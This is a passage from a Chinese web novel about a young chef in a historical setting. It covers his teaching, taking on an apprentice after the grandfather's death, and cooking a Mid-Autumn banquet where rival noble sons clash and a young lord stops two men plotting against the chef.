这话听的柳玉攀心里一口气不上不下的,憋了半天才来一句,“你倒是实诚。”
“这小不点是谁?”
柳玉攀将视线挪到了唐猫儿的身上。
黎小鱼低头看一眼猫儿,笑着说:“我弟弟,唐猫儿,大家都喜欢叫他小猫儿。”
柳玉攀看着唐猫儿盯着他的眼睛里,充满了畏惧,又下意识的朝着黎小鱼的身后缩。
面对他时,脸上带着讨好的笑容。
这可真是,太熟悉了。
他咧嘴一笑,“你这弟弟是从哪捡来的吧。”
黎小鱼不回他,警告道:“柳玉攀,你可别欺负小孩子啊。”
柳玉攀不屑,“欺负他?不够我塞牙缝的。”
……
黎小鱼和之前一样,将小猫儿送到小饭馆后,自己去斜对面的珍馔楼里教凌少卿。
看到黎小鱼过来,凌少卿连忙放下自己手里的活,“师父,你来啦。”
“今天的酱汁调的味道不错。”
黎小鱼闻了一下味道,顺口夸了凌少卿一句。
凌少卿高兴道:“是吗?我待会照着之前的样子,再做一份多熟练熟练。”
“可以。”黎小鱼放下酱汁,问凌少卿,“你选好了珍馔楼里,谁继续跟着我学做菜?”
之前选的潘五身份最合适,结果因为这些年养大了心,这也不服那也不服的。
凌少卿心里早有合适的人选,“许活。”
本来凌少卿还有些犹豫,想着从家奴里选一个。
虽说没有一点厨艺,从头开始学会比较难。
但是至少不会白费功夫打水漂。
而前两天许活第一时间过来告知他张厨子要他做的事情,让凌少卿彻底下定了决心。
此人可用,可信。
对于凌少卿选谁,黎小鱼并不在意。
反正都是拿银子办事。
“行,他要学的菜,你帮他选还是他自己选?”
凌少卿道:“我来选,他学的那些,作为珍馔楼的新菜色。”
凌少卿现在也知道了什么是“炒”,那菜在铁锅里上下翻动,没一会就成了。
这烹饪的法子,又快,味道也不错。
他见过黎小鱼做炒菜时的样子,那么重的大铁锅,说举起来颠就举起来颠了。
凌少卿想到这里,问了黎小鱼一句。
“师父,要是学炒菜,许活他需不需要去练练举石头?”
黎小鱼不理解,“学炒菜,为什么要举石头?”
凌少卿拍拍自己的手臂,“自然是练臂力,好颠锅啊。”
黎小鱼摇头,“不用,做多了熟练后,自然就会用巧劲去颠锅了。”
凌少卿知道不用费大力气去练臂力,也能轻松许多,当即决定,“那就学几道炒菜,等我这道葱炖鸭学会了,师父再教许活吧。”
多一个人来学,师父肯定会被分去精力。
而许活似乎很有天分,上次拿到豆瓣鲫鱼,他后面做了几次,那味道就已经八九不离十了。
凌少卿也是要面子的,要是被许活知道他一道菜学这般久都还做不好,他面子往哪搁啊。
凌少卿心里的这些小九九,黎小鱼看了出来。
觉得这家伙是在做无用功。
只要是许活来学,他迟早会发现的。
不过给钱的是凌少卿,他想怎样就怎样吧。
“对了师父,你会做卤牛肉吗?”
凌少卿有些无奈道:“其他几个厨子做出来的味道总是差一些,没办法往外卖。”
黎小鱼点头,“二十两,我可以教。”
凌少卿闻言眼睛一亮,高兴不已,“好!”
珍馔楼的卤牛肉停了三天,再次对外售卖的时候,食客们发现,这卤牛肉的味道竟然比之前还要好吃!
味道醇厚,肉质鲜嫩,吃进口中,满口香浓肉香。
食客们还担心张厨子走了,再也吃不了那好吃的卤牛肉了。
现在想想,得亏张厨子走了,不然他们才是吃不到现在这更好吃的卤牛肉。
也不知道这卤牛肉是哪个厨子做的,希望他能一直在珍馔楼干着,别学那张厨子,莫名其妙的突然一下就走了。
这道菜,是凌少卿自己学的。
卤牛肉最关键的是卤料的选择。
凌少卿学了如何调配卤料,火候就交给其他厨子看着,一点也不耽误他的时间。
黎小鱼将从凌少卿那新得的二十两银子放进钱匣子,顺便盘算了一下手里的银子。
加上这段时间陆陆续续接的孔山长他们的私宴,一共有一百六十两。
距离他要的目标,还差不少。
小饭馆的营业额比起之前也上涨了一半,但那些银子要用在小饭馆上面,不好叫他挪出来用。
想要积攒银子,得多接私宴才行。
黎小鱼也没有放着现成的人脉不用,他和大伯父还有凌少卿都说了接私宴这事。
要是他们身边有人有意,尽管来找他。
不过黎九章交好的同僚,都不是些有银子的主。
到现在为止,也没能拉来一单的生意。
凌少卿倒是和周围结交的那些人说了这事,可他们这年纪,私宴不是设在歌舞坊,就是设在自家庄子里面。
根本不需要外面的厨子。
一直没能帮到黎小鱼,凌少卿都想自己办一场,请黎小鱼去做了。
柳玉攀也听说了这事,专门去后厨堵了黎小鱼,“你缺银子?”
黎小鱼反问他,“你从哪听来的?”
“小饭馆生意不差,但你还是让表哥去帮你问接私宴的事,不是缺银子那是什么?”
黎小鱼笑道:“你还挺聪明。”
“我聪明还要你说。”
柳玉攀昂着脸,没一会又低头道:“你要是实在缺钱,不如和我表哥合伙将珍馔楼做大。”
黎小鱼看一眼柳玉攀,虽说柳玉攀极力在让自己表现的平稳,但眼神中无意的闪躲,还是被他发现了。
以及,这厮好声好气的给他出主意,定然不是真的为他着想。
“你还真是在意你表哥。怎么,怕他以后子承父业,珍馔楼会保不住?”
柳玉攀没想到黎小鱼反应这么快,既然被看出了心思,他也不再隐瞒。
“姨父本就不喜表哥进厨房,珍馔楼是姨母留下的,它的存在,迟早会让他们父子二人发生争执。我不想姨母留下的东西受损。”
也不想表哥因此而受到伤害。
这话他没说,怕黎小鱼告诉他表哥。
柳玉攀这提议,其实不错。
不过黎小鱼志不在此,“我是缺钱,不过开酒楼就算了。”
家里的小饭馆已经足够他操心,他后面要做的事情,会消耗很多的精力,到时候更没力气去照看酒楼。
柳玉攀能看出黎小鱼是真的不想涉足,他也没有继续追问,这本来也是他突然而起的想法。
“小东家,外面有人寻你。”
孙草的声音从后厨门口传来,柳玉攀顺势侧身让黎小鱼过去。
黎小鱼到外面一看,还是个认识的人。
“元夏,你怎么来了?”
元夏是他接手小饭馆生意后第一个食客,后面也是经常来,还总是给家里的主子也带菜回去。
珍馔楼里的食客点他们家的菜外送,也是因为元夏主子点了一次从小饭馆送过去,大家伙才意识到可以这样。
元夏笑眯眯的,一看就是有好消息。
“黎小郎君,我家郎君说要请小郎君做私宴。就是地方有些远,在玉山。”
黎小鱼虽说缺银子,可去的地方远,他和书院的生意还有小饭馆的生意,都要被耽误。
实在是有些划不来。
“那玉山去就要花大半日的时间,我空不出那么多时间来。”
元夏道:“那天是中秋,书院放着假呢。不会耽误小郎君和书院的生意。”
“至于小饭馆的生意,我家郎君说,给的价钱会包含小饭馆两日的流水。”
银子都砸到这份上了,黎小鱼想了一下,觉得划算,没有再拒绝。
“好。”
黎小鱼第二天就列了份菜单给元夏,让他带回去给他家郎君看看,有没有要增减的。
邵怀筠看了元夏带回来的菜单。
单笼金乳酥,双色珍珠丸,八宝饭,松鼠桂鱼,仙人脔,过门香,见风消,玉露团,白龙曜,狮子头……
又是金,又是珍珠八宝玉露,还有龙,狮子,仙人的,看着就上档次,有排面!
“没什么可改的,那天就让他照着这个做就是。”
元夏接过菜单,有些担忧的问道:“定安侯年年中秋在玉山设宴,郎君你那时候过去宴请好友,我担心怕是会冲撞侯爷。”
邵怀筠自然知道这事,他虽也有些担心,可不也不愿在这时候露怯。
“定安侯不是说了玉山不管什么时候,谁人都能进?怎么那天玉山就只有他可以办宴,我就不行?难不成定安侯之前说的,只是说漂亮话?”
话是这么说,但毕竟多一事不如少一事不是。
元夏也想不明白, “可郎君,你为何非要那天去?”
提起这个邵怀筠那个气的,他拍了下桌子,“那姓裴的狗东西耍诈,我赌输了,他要求的。”
“他以为我不敢?不就是贴着定安侯的脸开私宴,又不是刺杀,我有何不敢?”
他不仅开,还要开个大的,吓死那姓裴的!
元夏听着有些害怕,“郎君,那要是定安侯真的生气,可怎么办啊。”
“还能怎么办,跑呗。他还能因为我在玉山开私宴就派人抓我不成?那不是自打嘴巴。”
真那样才好呢,叫他们这些武将都在辞州百姓眼前丢丢脸。
邵怀筠抬头瞥见元夏手中的菜单,“幸好黎小鱼接了这私宴,其他厨子会的那些菜,都没他的菜好听有档次。”
“到时候把那姓裴的弄过来,叫他看看什么叫高档私宴,亮瞎他的狗眼!”
第34章 第 34 章
八月的时候, 辞州的天气已经变得凉爽许多。
眼看要到中秋,黎小鱼开始着手准备菜单上需要用的食材,调料还有一应的厨具。
这次去一趟玉山, 能得五十两的银子。
拿钱办事, 黎小鱼对这次的私宴很是上心。
就是今年没办法和父母一起吃饭赏月了, 是一件憾事。
黎九州夫妻二人倒是理解, 让黎小鱼放宽心去, 他们在家有小猫儿陪着也是一样,不会觉得冷清孤单。
小猫儿也乖巧, 说什么他都笑着点头。
凌少卿终于学会了那道葱炖鸭。
黎小鱼也准备要收许活为徒。
那天许活正在外面帮着干杂活呢, 被凌少卿喊进了后厨。
两人具体怎么谈的,黎小鱼不清楚。
他只知道许活看见他的时候, 两眼泪汪汪的, 人直接跪地上给他磕了一个响头。
那速度快的, 拉都没拉住。
这脑袋磕的扎实,许活晕乎了好一会才反应过来。
那声“师父”更是叫的响亮, 外头的范掌柜都捂了一下耳朵。
黎小鱼有些狐疑的看向凌少卿, “你都和他说什么了, 他怎么这么激动?”
凌少卿看向捂着脑门又哭又笑的许活,小声的对黎小鱼道:“他就是太高兴,能有一个师父了。算是了了他爷爷的心愿,不然老爷子每天不仅要受病痛折磨, 还要操心孙子以后的日子。”
黎小鱼沉默片刻后,问凌少卿道:“你和他说了我只教做菜, 不过问其他吗?”
凌少卿点头, “师父的规矩都说了,也说了学菜要交钱, 给钱就立刻教。我给他先垫上,让他后面要在我珍馔楼做厨子。他也同意了。”
不得不说,许活在做菜上,确实有天赋。
他的舌头很灵,能尝出味道的微妙差别。
黎小鱼教的时候很轻松,许活几乎是一点就透。
倒是惹得凌少卿多了些幽怨,没别的,就是觉得自己做的不好,像是在拖后腿一样。
许活有眼力见,师兄长师兄短的叫,闲下来了就给他新出炉的师父和师兄端茶倒水的。
哄的凌少卿都不好对他生闷气,可这心里就是别扭不得劲。
黎小鱼也知道来了一个事事都比自己学的好,学的快的人,凌少卿心里肯定会不舒服。
倒不是说会因此做什么,只是人性如此。
若是不及时开解,有些性子拗的,都能把自己逼进死胡同,犯下错来。
黎小鱼可不想后面整天断案,直接对凌少卿说:“你看开点,许活做的好,还不是给你珍馔楼赚钱。别总是盯着他,专注自己。”
“这世上天才只是少数。许活有一分的天赋,虽说是老天爷赏饭吃,可也离不开他从小就耳濡目染,还有一直在后厨帮忙干活,并非一日之功,而是经年累月的积累,厚积薄发。”
“你没有必要非拿自己和他去比,你也有很好的地方,只是你自己没看见。”
凌少卿苦兮兮转头,“师父,那你觉得我哪里好啊?”
黎小鱼被问的一愣,眼看着凌少卿脸更皱了,他连忙道:“你虽有一些权贵子弟的傲慢自大,但知错就改。恪守底线,为自己热爱的东西,不会看人身份地位,虚心求教。一次次的失败,但一直没有放弃,反而更加勤奋刻苦,直到成功。”
这番话听的凌少卿脸都红了,不好意思抓抓耳后,“师父,原来我在你眼里这样好啊,我都不知道。”
黎小鱼观察了一下凌少卿的神情动作,确认对方是放下心结了。
呼,后面终于能清净了。
许活在黎小鱼手下学了两天。
这天,黎小鱼结束了早上的教学时间,准备回小饭馆忙活,被许活给拉住了。
“师父,我爷爷想见你。”
黎小鱼虽然没有过多的探听许活家里的情况,但也知道他自小就与爷爷相依为命。
现在爷爷年迈,身患重病,每日靠着汤药度日。
黎小鱼能猜到老人家是想临终托孤,说实话,他不想去。
可看着许活期盼的目光,最终还是点头。
晚上的时候,凌少卿也跟着一起去了。
美名曰他是大师兄,就是要跟着。
黎小鱼多看了凌少卿一眼。
许活家的院子很大,但院子里不止一家,足足十几户。
一户一间房,有的一户十几口人,真不知道那么大点的房间,是怎么挤得下的。
许活恭敬的请着黎小鱼和凌少卿进屋,黎小鱼发现自从进来后,院里的人要么装作没有看见他们,要么就故意躲起来。
他没有多想,跟着许活进屋。
刚掀开门帘,屋里浓郁的药味就蹿了出来。
黎小鱼嗅觉和味觉很好,这味道在他这里,更显刺鼻一些。
不过屋里除了药味之外,并没有其他令人不适的味道。
许活将屋子打扫的很干净。
就连床榻上,老人家身上都是干净的。人老后会有的老人味,都很淡。
不难看出,许活将人照顾的很好。
许老爷子因病重缘故,每天也昏昏沉沉的睡着。
还是许活轻轻的将人摇晃醒来,他睁眼就看着黎小鱼,轻轻笑了一声。
“没想到小活的师父,这般的年轻。”
后又看向凌少卿,态度不难看出的恭敬,“东家,小活都与我说了,拜师所用的银子都是东家所出,老头子在这里多谢东家的成全。”
凌少卿挥手,让老爷子别在意。
“不用客气,反正他后面也是给珍馔楼当厨子。”
许老爷子却不这样想,他让许活把他扶起来,坐在床上,对着凌少卿深深的作揖鞠躬。
“当年是东家的母亲出手相救,我与小活才能有后面的日子。如今,小活有东家出手相助,才能有后面可以一直在珍馔楼干活的安稳日子。”
他所求不多,就是孙子能安安稳稳的过完一生。
如今,他求的那些,全都有了。
凌少卿第一次被人如此诚恳真挚的感谢,面对长者的道谢,他也退后一步,对其微微弯腰,“老爷子,许活是我师弟,我作为师兄,定不会叫他在珍馔楼里面受大委屈。”
许老爷子宽慰的笑了一声,“东家,小活他以后要是犯错,尽管责罚。”
凌少卿听着话音总觉得不对,他抬头看向老爷子,只觉得许老爷子好苍老。
对上许老爷子沧桑的病重的脸,凌少卿心软一瞬,脱口而出,“好。”
答应下这句话,是将许活真的当成师弟去尽他作为师兄的责任。
而不是碍于情面,维持着表面的关系。
与凌少卿说完后,许老爷子看向黎小鱼,声音虚弱,“老头子有个不情之请,我想与小活师父单独说几句话。”
许活在爷爷的背后塞了软枕,让他倚靠着能舒服一点。
做完这些后,就带着凌少卿出去,将空间留给了黎小鱼和老爷子。
许老爷子在二人走后,拖着沉重的身体要下床。
黎小鱼上前帮忙,扶着人,怕对方站不稳摔倒。
谁知对方下床之后,奋力一跪,苍老年迈的声音带着哀求。
“郎君,求你收我家小活为徒。”
黎小鱼急忙将人拉起来,他看着瘦,手上力道大,握着许老爷子的手臂,就把人提了起来。
“老人家你这是做什么?我不是已经教许活做菜了吗?”
许老爷子被黎小鱼弄回床上,靠在软枕上,他虚弱的摇头,“小活年纪小,看不清这里的门道。我老头子活这把岁数,能明白郎君你的意思。”
“虽不知郎君为何会如此的拒人于外,但想来郎君定是经历过非人之痛,所以才会如此不信任他人。”
“只是老头子我可以用性命担保,我家小活,不可能会背叛郎君,求郎君收他为徒吧。”
黎小鱼垂眸,过往的记忆,与今生的记忆交织相缠,拉扯着他。
许老爷子浑浊的眼眸中,满含期待。
黎小鱼叹息一声,“老人家,我不信旁人,我只信我自己。”
“我可以收许活为徒,但若有一天,许活真的背叛了我,老人家能忍受,我会千万倍的报复回去吗?”
许老爷子听前面那句话时几乎绝望,而后面那句话听着狠,可其中暗含着无限的希望。
这是代表着,不管信不信任,但接受了许活。
只要许活不背叛,就会一直有师徒之情份。
许老爷子笑出了声,眼泪也跟着落下,是心愿终了后的放心与欣慰。
他的孙子,有了真正的后路。
死而无憾矣。
黎小鱼出去后,叫了许活进去。
凌少卿见他神色不好,“师父怎么了?你看起来不高兴。”
黎小鱼看向破旧的屋子,“许老爷子已是弥留之际。”
怕是身体早就不行了,一直强撑着一口气。
如今心中无所牵挂,也到了该走的时候。
凌少卿之前也有所察觉,许老爷子说话的态度和话音,与他娘临走之前一模一样。
没一会,屋里传来许活痛苦的呼喊声。
“爷爷!”
许老爷子的葬礼,凌少卿和黎小鱼还有黎九州夫妻二人,都帮着操持了。
许活按着许老爷子的遗愿,在入土下葬前,正式叩拜黎小鱼,敬茶拜师。
还将家里所有值钱的东西全部交给黎小鱼,这也是他爷爷临终前的交代,所有财物,不管以前还是以后的,全部交给师父。
黎小鱼没办法,只好收下,替许活先保管着。
凌少卿在一旁看着,看到后面不想看,直接低头,心里闷闷的。
凌府,柳玉攀找到了独自对月喝闷酒的凌少卿。
他一把按住凌少卿手中的酒杯,看不得凌少卿这幽怨的鬼模样,“又不是你爷爷死了,你怎么比那个许活还难过?”
“表弟,许活行拜师礼了。”
凌少卿说的有气无力,像是受到了巨大的打击。
柳玉攀没想到会是因为这个。
“不就是拜个师父而已,那黎小鱼比你还小一岁,你真要是正儿八经的拜师,不是丢脸吗?你想要师父,那还不是一抓一大把,干嘛非要黎小鱼啊。”
凌少卿不高兴柳玉攀这样说,把酒杯抽回来。
“表弟,你不要再说我师父了。自从娘死之后,没有人管过我,在意过我,夸过我。”
“但是黎小鱼,我的师父,他懂我。他发现了我,他教我做菜时,很耐心,很温柔。他能感觉到我的不开心,开解我,说我也很好。”
“我不怕丢脸,只要师父是黎小鱼就行。”
他也想要敬茶拜师,想要多一层看不见的,深深的羁绊。
而不是如今这样,虚无的,缥缈的。
凌少卿仰头又饮一杯酒,醉醺醺的对柳玉攀道:“表弟,我可真羡慕许活啊。”
柳玉攀看着倒下的凌少卿,也给自己倒了一杯酒,一口闷下。
真烦。
柳玉攀对着凌少卿的嫌弃的翻白眼,嘀咕道:“黎小鱼给你下蛊了不成。”
一边嫌弃,一边把酒杯一撂,认命的背起他表哥,把人送回房睡。
去玉山的那天,许活也跟着一起去。
凌少卿知道邵怀筠在玉山设私宴,请了黎小鱼去做。
怕黎小鱼带的人不够,忙不过来,专门叫许活陪着去帮忙。
要不是身份原因,加上那天他自己也要去玉山赴宴,凌少卿自己都想去。
中秋很快便到,黎小鱼提前一天带着人去玉山。
邵怀筠早就安排好了住处,一应准备齐全,黎小鱼一行人倒是睡了个好觉。
玉山很大,空气清新。
如今入秋,山中比山下要凉。早上黎小鱼起了个大早,他简单的打拳锻炼了一会,身体暖和后,就开始忙活了起来。
白龙曜需要反复捶打里脊肉,卢大海力气大,这活交给了他。
仙人脔需要杀鸡拔毛,许活从小就帮着爷爷杀鸡,是个好手。主动把这活给揽了过去。
黎小鱼问他,“许爷爷刚过世不久,你能杀生见血腥?”
许活闻言道:“我和爷爷都是从死人堆里爬出来的,活着的人才是最重要的。守着那些规矩没用,不如给师父帮忙来的有用。爷爷在底下才高兴呢。”
黎小鱼没有再说什么,让许活小心,别被鸡啄了。
许活杀鸡确实是个好手,那鸡都没反应过来呢,就已经被抹脖子放血。
手法干净利落,没一会那鸡毛都被拔光。
单笼金乳酥和仙人脔都需要牛乳,这东西不能久放,他昨天来的时候发现山脚下有村户家有水牛。
正好还有产牛乳,黎小鱼便约好了今日去取新鲜的。
之前准备好的那些,就暂且放在一边。
他带着方石头下山去取水牛乳,途中遇见了两个衣着华贵的青年,两人身形肥硕,坐在椅子上,被抬着往山上走。
那抬椅的力夫,累的满头大汗,气喘吁吁。
椅子上的二人勾着头讲话,说说笑笑。
边上还跟着貌美的丫鬟,一人举着果盘,一人举着吐果皮的盘子。
黎小鱼拉着方石头往边上站,前头那蓝衣服的胖子正吃着葡萄,侧头吐皮的时候注意到了黎小鱼。
他居高临下的看着下方的人,唇红齿白,甚是漂亮。
“停下,给我停下!”
力夫立即停下,那蓝衣服的胖子对着黎小鱼笑道:“我叫林崔,你是哪家的郎君?怎生的这般好看?莫不是女子扮做郎君,来玉山玩来的?”
黎小鱼听着林崔的话,心里很不舒服。
他抬头道:“我是邵五郎请来做私宴的厨子。这会正要下山去取食材,耽误不得。”
林崔听说是邵五郎,笑的更大声,“我正是要去邵五郎的宴,没想到是你做。你长得这般好看,做的吃的一定也美味至极。哈哈哈哈哈,你且先去吧。”
既然知道了身份,他正好能等宴差不多的时候,再去寻人。
黎小鱼扭头就走,方石头跟在后面,犹豫半晌,还是上前一步说道:“小东家,辞州有些个权贵,他们喜爱玩弄男子,我瞧着刚刚那人,看小东家的眼神不怀好意。”
黎小鱼眼神一冷,“没事,他真敢做什么,就叫他后悔见过我。”
方石头还是头一回见黎小鱼如此冷脸的样子,与平时那个温和的人相差甚远。
不过他也因此放心了,至少不会真的别人给欺负了去。
二人取了水牛乳后就立即回去,没看见不远处的几匹马。
裴叔群用手盖在额头上,坐在马背上眺望,“我怎么瞧着那人像是黎小鱼啊。”
贺辞耳朵一动,一旁的凌少卿道:“那应该就是我师父,邵怀筠今日也在玉山设宴,请了我师父做私宴。”
裴叔群放下手,拽着缰绳在凌少卿边上溜达,“少卿,你还真拿他当师父啊?在我们面前还一口一个的叫?”
说着,他又有些埋怨,“你最近都不和我们一起玩了,一有时间就去那后厨里面呆着,做菜有什么好玩的啊?”
凌少卿听着裴叔群的话有些不高兴,他皱着眉头,情绪全在脸上。也不搭理裴叔群,自己骑着马往前走。
柳玉攀也骑马跟了上去,路过裴叔群的时候,还不忘回头瞪他一眼。
裴叔群也不气恼,摸着下巴觉得这两人的反应有趣的很。
贺辞驾马上前,“你上次和邵怀筠打赌,就是赌这个?”
裴叔群将视线从柳玉攀的背影上收回,眼睛一转,便笑着对贺辞道:“邵怀筠总是在外诋毁侯爷,说侯爷年年中秋占着玉山不让旁人上去,他们都没办法在玉山上赏月。”
“我便激他来玉山设宴一场,看他后面还如何说得出口,侯爷占着玉山不给他人上来的屁话。”
“我爹被人说,你这么激动干什么?”
贺辞不太理解的看着裴叔群。
他的目光紧盯着,叫人的小心思都无处遁形。
裴叔群有片刻的失声,随后轻笑一声,带着掩饰的意味。
“定安侯驻守辞州,守辞州安定,我身为辞州人,自然是要维护侯爷的声名,不允许有任何人说侯爷的不是。”
贺辞瞥了他一眼,有些嫌弃,“你这马屁在我爹面前拍,以后少在我这说。听着恶心。”
裴叔群笑着的嘴角抽搐一下,贺辞甩起马鞭,留给他的是溅起的尘土。
……
黎小鱼和方石头带着水牛乳回去后,许活还有卢大海已经将能备的菜备的差不多了。
仙人脔是奶汁炖鸡,炖菜需要的时间多一些,最先做的就是炖菜。
其次是蒸着的糕点,单笼金乳酥。
卢大海和许活都会做菜,有功夫底子在,他在做金乳酥的时候,顺便指点他们去做其他。
方石头则是烧火,打水,干些能做的杂活。
邵怀筠对今日私宴的菜色很是期待,他叫来元夏,让他去寻裴叔群的人。
不管怎样,他今天要叫裴叔群见识一下,什么才叫档次!
就算叫不来人,那他也要好好的损那姓裴的才行。
幸好有了许活的帮忙,黎小鱼做菜的时候,没有想的那么的累。
临近中午,邵怀筠邀请的人也全都到了。
前头来后厨传话,已经开宴,准备上菜。
每一道菜,都被装在精致的银制餐具中,摆盘精美,由丫鬟们一一端入席间。
宴上的公子哥们心思本在歌舞与美酒之上,随着菜肴献上,菜香逼人。
松鼠桂鱼色泽红艳,酱汁酸甜。红烧狮子头,肉质鲜嫩,咸香无比。单笼金乳酥,奶香四溢……
煎炸炖煮蒸,各种香味交织混合,勾着人的味蕾,使得众人心神全都从歌舞以及美酒上落在菜肴之上。
林崔第一个出声,“这就是那长得漂亮的小厨子做的吧?果然看着都觉得美味。”
邵怀筠也被这些菜色给吸引,加上林崔的身份坐的比较远,他没有听见林崔说什么。
“这是我专门请的厨子做的新菜色,都是辞州没有的。大家快尝尝。”
邵怀筠话音刚落,席间就响起了银器的碰撞声。
“这是什么东西!怎么这么好吃!酥酥的!”
“团子软糯适口,微微弹牙。我母亲最爱吃这种软糯吃食,这哪能买?我想买些回去给母亲吃。”
“炖鸡竟然是用牛乳去炖的?这味道竟结合的这般好,鲜嫩乳香,实在美味。”
席间时不时的传来对于菜肴的欣喜评价,邵怀筠低头吃饭,偶听几句全是夸赞,他这心里也是极其高兴。
这宴他办的好,有面儿!
这下就等着裴叔群那厮过来了。
另一边,定安侯的中秋宴,分三个席面。
各家的主君们、家中的郎君们、姑娘夫人们都是各自分开。
裴叔群正举杯饮酒,贴身小厮雨生凑了过来,对他耳语。
“邵怀筠的小厮过来,说要郎君去喝一杯酒,带郎君见世面。”
裴叔群笑了一声,“他叫我去我就去?什么世面是我裴叔群没见过的?”
雨生道:“那元夏说,如果郎君不去,就是郎君怕了邵怀筠。以后见着郎君,定是要拿今日郎君做……”
雨生不太敢说,被裴叔群不耐烦的啧了一声,才又壮着胆子说:“做缩头乌龟说事。”
缩头乌龟?笑话!
“激将法对我可不管用,我又不是凌少卿和柳玉攀那对表兄弟。”
裴叔群酒杯刚要入口,又想起什么来,问道:“你可知道小侯爷去哪了?”
雨生回道:“似乎是拿着弓箭出去了。”
第35章 第 35 章
裴叔群转一下酒杯, 也不知心里想着什么。
没一会,他就又放下酒杯,起身道:“和我找小侯爷去。”
一应宴会贺辞都不喜参加, 每次都自己先吃饱喝足, 直接离席, 自己去找乐子。
玉山野物颇多, 贺辞年年中秋宴, 都会半途出来打猎。
裴叔群跟着参加这么多年的中秋宴,也摸清了贺辞的路线, 找人一找一个准。
咻——
奔跑的兔子被一箭封喉, 白竹跑着去捡兔子。
过来寻人的裴叔群啪啪啪的鼓掌,“小侯爷好箭法, 就是用来射兔子有些可惜了。”
贺辞利落搭箭, 对准裴叔群, “我爱吃兔子,不射兔子射你啊。”
裴叔群尴尬一笑, “小侯爷你可真会开玩笑。”
贺辞将箭转了个方向, 又射中一只兔子, “来找我干什么。”
裴叔群从腰间拿出折扇,轻轻掩嘴。
“邵怀筠说他请的厨子菜做的特别好,还新奇的很,是辞州没有的。他着人来叫我去尝尝厨子做的菜。”
“姓邵的说的好听, 叫我去尝菜,实际上还不是想打我脸面。”
裴叔群看向贺辞, 脸上笑意更深, “听少卿说黎小鱼接了邵怀筠的私宴,我到现在还没吃过黎小鱼做的菜, 也实在是有些好奇。如果小侯爷要是在,那邵怀筠看在小侯爷的份上,肯定不敢对我怎样。”
贺辞扫了裴叔群一眼,“你是想我和你去?”
裴叔群点头,凑近一些带这些祈求的意味,“小侯爷帮我这一次?”
贺辞没吭声,继续抽箭囊里面的羽箭。
对准远处的鹿,弓弦拉满,射出之际又收了势。
“那鹿小的很,不猎了。”
贺辞把弓往身上一套,“带路,去邵怀筠那。”
裴叔群轻笑出声,很是感激,“多谢小侯爷。”
邵怀筠叫元夏去叫人,人是叫来了,但没想到还跟来了一个他得罪不得的小侯爷。
辞州虽说三分势力,可定安侯的地位,是毋庸置疑的。
贺辞已是板上钉钉的下一任侯爷,谁没事敢和他对着干。
邵怀筠啧了一声,这裴叔群可真行,竟然能把小侯爷搬出来当他的救兵。
他收敛心绪后,扯出一张皮笑肉不笑的脸,迎了上去,“不知小侯爷前来,有失远迎,还请小侯爷勿怪。”
贺辞一身黑色翻领袍,手腕束着护腕,头绑着黑色的皮制额带。
他的出现,让本还在欢声笑语的席面变得鸦雀无声。
裴叔群跟在贺辞后面对着邵怀筠道:“听说邵五郎请的厨子厨艺高超,小侯爷听了也感兴趣……”
“谁感兴趣了。”
贺辞丢下一句话直接向前,邵怀筠见裴叔群吃瘪,直接笑出声。
幸灾乐祸的看了一眼裴叔群,赶紧追了上去,“小侯爷请上座。”
贺辞被邵怀筠请到了座位上,又叫人给裴叔群随便安排了一个座位。
二人落座后,很快就有丫鬟从后厨端来摆盘精致,菜香四溢的佳肴。
裴叔群盯着一桌子的菜,闻着菜香,忍不住吞咽。
这黎小鱼还真是有两把刷子。
没想到他做起私宴来,也有模有样的。
邵家是辞州首富,用的餐具无不豪奢。
裴叔群心里没有什么不适,甚至有些迫不及待的动了筷子。
好吃。
这是裴叔群第一想法。
每一道菜,都很新奇,都是他没有吃过的。
味道有酸甜,有鲜美,有奶香。
不愧是京城来的,做的尽是些辞州没有的东西。
裴叔群本是想来看热闹,谁知道被美食吸引,光顾着吃了。
他虽然在克制着,可那一下也不停的动作却做不了假。
周围的一些商户子弟瞧着裴叔群一直吃不停的样子,憋着笑,心里骂他是穷武将,没吃过好东西。
完全忘了他们在菜刚开始上来的时候,也是这样。
没人能拒绝美食。
坐在主位上的贺辞也动了筷子,他之前虽说吃饱了,但如今也消耗的差不多。
黎小鱼做的饭菜实在合他的口味,不过有几道放了葱。
贺辞没有浪费的习惯,面无表情的全都给吃完了。
邵怀筠还以为这贺小侯爷来,是给裴叔群撑腰出气来的,没想到这两人还真是来吃吃喝喝。
他举起酒杯,对着贺辞道:“小侯爷看来也爱吃我请的厨子做的菜,要不要叫他出来见见?”
贺辞闻言动作一顿,自从上次说叫黎小鱼不要再出现在他面前后,黎小鱼就像人间蒸发一样,真的再也没有出现在他的眼前。
现在他却要见黎小鱼……
这算什么,自己说话不算数吗?
“不见。”
贺辞黑着脸,起身拿着弓箭就走。
给邵怀筠整的一愣,这小侯爷的脾气还真是一出一出的。
贺辞走后,席面上终于又有了活气。
邵怀筠看着吃的津津有味的裴叔群,计上心来,挑眉坏笑一声,端着酒杯走向裴叔群。
靠山走了,他看裴叔群该怎么办。
“裴叔群,这菜好吃吗?”
裴叔群擦擦嘴,一副看你能拿我怎样的模样,“好吃啊,不好吃我能吃这么多?”
“哦,好吃啊。那多吃点。”邵怀筠笑的像开花,饮一杯酒,慢悠悠道:“对了,忘了和你说,你这套餐具,是用过没洗的。哈哈哈哈哈哈哈。”
裴叔群嘴角直接垮下,上一秒还在香喷喷嚼着的鸡肉,下一秒全部吐了出来。
他怒视邵怀筠,“你找死!”
邵怀筠看着裴叔群一会作呕,一会死瞪着他,一副要吃人的模样,心里痛快的不行。
他这里的餐具,就没有脏的。
只是餐具本身脏不脏并不重要,重要的是,他说了,裴叔群信了。
邵怀筠美滋滋的转身离开,可不管裴叔群在吐生吐死。
……
贺辞拿上弓箭后一通猛走,等回神的时候,也不知道自己走到了哪里。
他正要转身回去,听到不远处的亭子有人声。
“林崔,你真要搞?”
“废话,那小厨子长那么好看,你看着心里不痒?你不知道,他看我时候那样儿,还瞪我,说话也冷冰冰的,可招人疼了。”
“你这一说我都来兴趣了,到时候把人绑了灌药,定是别有韵味。”
“我们就先在这等着,过一会我叫人去把人弄来,咱兄弟两好好的舒服一次。”
咻——
“啊!!!!”
亭子的柱子上插着一支羽箭,林崔和张柏吓的尖叫出声。
伺候他二人的丫鬟们也吓的蹲下,一阵的慌乱。
贺辞手握弓身,周身散着吓人的气息。
“你们在说的人,是谁?”
林崔和张柏看见是贺辞,嘴里要骂出来的话,硬是憋了回去。
林崔哆嗦着道:“小侯爷,我,我们没说谁啊。只,只是个小厨子,姓黎的。小侯爷莫,莫不是认识?”
“我不认识你们就能这样做吗!”
